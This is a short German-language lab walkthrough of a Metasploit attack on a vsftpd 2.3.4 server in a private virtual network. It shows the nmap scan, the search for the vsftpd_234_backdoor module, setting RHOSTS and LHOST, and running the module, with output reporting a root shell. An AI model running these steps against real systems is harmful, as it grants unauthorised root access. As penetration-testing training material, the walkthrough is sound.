Metasploit vsftp exploit

Starten msfconsole

• msfconsole

DB Scan auf Port 21

• db_nmap -sV 10.0.10.105 -p 21

[*] Nmap: Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 14:23 +0200
[*] Nmap: Nmap scan report for metasploit.secure.local (10.0.10.105)
[*] Nmap: Host is up (0.00037s latency).
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 21/tcp open  ftp     vsftpd 2.3.4
[*] Nmap: MAC Address: 08:00:27:A8:D5:D4 (Oracle VirtualBox virtual NIC)
[*] Nmap: Service Info: OS: Unix
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds

Gefundene Version

[*] Nmap: 21/tcp open ftp vsftpd 2.3.4

Gibt es eingebaute Schwachstellen zum vsftp Server?

• msf6 > search vsftp

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

Module laden

• msf6 > use 0

info

• msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Wir müssen den RHOST setzen

• msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.0.10.105
• msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.0.10.101

Und Attacke

• msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.0.10.105:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.10.105:21 - USER: 331 Please specify the password.
[+] 10.0.10.105:21 - Backdoor service has been spawned, handling...
[+] 10.0.10.105:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.

Wir haben kein Prompt aber eine Shell